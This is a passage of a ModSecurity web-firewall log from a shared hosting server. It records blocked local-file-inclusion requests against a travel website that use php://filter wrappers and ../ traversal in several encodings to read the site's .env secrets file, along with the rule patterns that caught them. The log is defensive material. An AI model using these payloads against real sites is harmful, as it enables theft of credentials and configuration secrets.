"OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbgAAAB4"]
[Fri Jul 17 08:55:11.352371 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&load=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&sid=dhaykoyl1uppouw8ghzu0oidr6vu7rwzsstbqowpzn3mymuor2ljdkgplql0palihy2hxl-8bvmghziqckil7qk7pvesiuz9jjruxevpy81zcbt2kmdn95g6hh48cpgsvjggc-ork5mgzwwyc6fozrp3q5l4ulhljbg485hif0sc7hfgqzowj4huacqooyrwsz47elh6gqk8kiyree59xl8wailyhymtqlivhhhflblaqeqwkwmrh4li-tcepl3izwnhzgrvng1f2sqbtmk7subz&ref=i6kmnydcxvdfkz2nkcy2ugpcl54amrri6pv7ddd6podc7mw2zgql5quibqyfhm44rzom34e5ueb2wu3zljub5fu7bvtjsc..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbgAAAB4"]
[Fri Jul 17 08:55:11.352432 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbgAAAB4"]
[Fri Jul 17 08:55:11.352483 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbgAAAB4"]
[Fri Jul 17 08:55:11.352541 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQQAAAAY"]
[Fri Jul 17 08:55:11.352680 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.352959 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw5GPQ6hs4VrfMpBQQAAAAY"]
[Fri Jul 17 08:55:11.353012 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:load: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbgAAAB4"]
[Fri Jul 17 08:55:11.354603 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbgAAAB4"]
[Fri Jul 17 08:55:11.354801 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.355218 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vSbgAAAB4"]
[Fri Jul 17 08:55:11.357221 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&read=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&ref=sJdhuJS-iJQwTkaKXemVLzHfVhp3PM0NDtKk432qWN4x7-x_EjN0LFwSuHOiys73c5tGBnE67ZE7rvnYxyeBjvwNXrrY8CX9Go4ZXeFfAeI89v2Y7Xr-Uy0wdYY1GexfXv8Ec68baaS6kaGI9kY8PQ-GTyXYdvKmxL2c8Z7ssAcmio30XJ8jwnsdaHjQ0ejLYpzTf7zJgq5hnDYPfl3qga9S8QAhnHaNd5y47ixynDDpfWvhaYDM2Mx54D2zHz9jKzH4xLq21xlmcAzI-PVQ3vfr&debug=ZH2GL7ZF7CR7ENCH2FY5FZUVS2Y5JUHBKTLIGLBUAXBAHPDQWCIA62BVIOCM2XMPUEZS7MJVKEHHF7CCP..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AYwAAAAU"]
[Fri Jul 17 08:55:11.357270 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:read: php://filter/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MMQAAAAc"]
[Fri Jul 17 08:55:11.357280 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AYwAAAAU"]
[Fri Jul 17 08:55:11.357326 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&read=php://filter/convert.base64-encode/resource=../../.env&ref=sJdhuJS-iJQwTkaKXemVLzHfVhp3PM0NDtKk432qWN4x7-x_EjN0LFwSuHOiys73c5tGBnE67ZE7rvnYxyeBjvwNXrrY8CX9Go4ZXeFfAeI89v2Y7Xr-Uy0wdYY1GexfXv8Ec68baaS6kaGI9kY8PQ-GTyXYdvKmxL2c8Z7ssAcmio30XJ8jwnsdaHjQ0ejLYpzTf7zJgq5hnDYPfl3qga9S8QAhnHaNd5y47ixynDDpfWvhaYDM2Mx54D2zHz9jKzH4xLq21xlmcAzI-PVQ3vfr&debug=ZH2GL7ZF7CR7ENCH2FY5FZUVS2Y5JUHBKTLIGLBUAXBAHPDQWCIA62BVIOCM2XMPUEZS7MJVKEHHF7CCPMCI7S7WLJHEVEFIEK33GCR37..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AYwAAAAU"]
[Fri Jul 17 08:55:11.357353 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&read=php://filter/convert.base64-encode/resource=../../.env&ref=sjdhujs-ijqwtkakxemvlzhfvhp3pm0ndtkk432qwn4x7-x_ejn0lfwsuhoiys73c5tgbne67ze7rvnyxyebjvwnxrry8cx9go4zxeffaei89v2y7xr-uy0wdyy1gexfxv8ec68baas6kagi9ky8pq-gtyxydvkmxl2c8z7ssacmio30xj8jwnsdahjq0ejlypztf7zjgq5hndypfl3qga9s8qahnhand5y47ixynddpfwvhaydm2mx54d2zhz9jkzh4xlq21xlmcazi-pvq3vfr&debug=zh2gl7zf7cr7ench2fy5fzuvs2y5juhbktliglbuaxbahpdqwcia62bviocm2xmpuezs7mjvkehhf7ccpmci7s7wljhevefiek33gcr37..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AYwAAAAU"]
[Fri Jul 17 08:55:11.357378 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AYwAAAAU"]
[Fri Jul 17 08:55:11.357397 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AYwAAAAU"]
[Fri Jul 17 08:55:11.357709 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:read: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AYwAAAAU"]
[Fri Jul 17 08:55:11.358257 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MMQAAAAc"]
[Fri Jul 17 08:55:11.358379 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.358667 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1h1WDijTxd1xw5MMQAAAAc"]
[Fri Jul 17 08:55:11.358686 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AYwAAAAU"]
[Fri Jul 17 08:55:11.358800 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.359070 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AYwAAAAU"]
[Fri Jul 17 08:55:11.361818 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8gwAAABA"]
[Fri Jul 17 08:55:11.361972 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.362303 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0kXT4NBqALj2lZ8gwAAABA"]
[Fri Jul 17 08:55:11.366079 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:read: php://filter/convert.iconv.utf-8.utf-7/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LgAAABw"]
[Fri Jul 17 08:55:11.367140 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LgAAABw"]
[Fri Jul 17 08:55:11.367287 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.367596 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4Zvbo7N5o5zeYC-LgAAABw"]
[Fri Jul 17 08:55:11.372338 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&read=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F.env&extra=vrkDL5HMLUVR4ppcy3veyKWzAk7qWttmXLPdSGLnqfwwMYIw3-F21nYZ7soy9b1HSTcs84AZPB3QK-zfPY5d3TVyjyy_aCCUX1mhD1-kdBWCkc-eWVnCUd2_LhtBOiavqxYXcocjA46g6d6wBBhlZ1YlBi3UWtW_dQQrWoepAvnKb-7Qv0mxyTT0D8eTfbpXXHUoOD1scI-gR1KvJepAaAc4GftKMH6K12kDY_6K0sb0BCihtlsVgbkswx4oF_n8zWkejI3wDY0KWS-MlrsO3slQ&anything=Q5NJE7VRI73US2GOMFCXV3BALN4YNAU4WXWK3BL7C7UBHU6GTLDS5KAEEEQUR3XIGP5NBVG7..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sHAAAABQ"]
[Fri Jul 17 08:55:11.372389 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sHAAAABQ"]
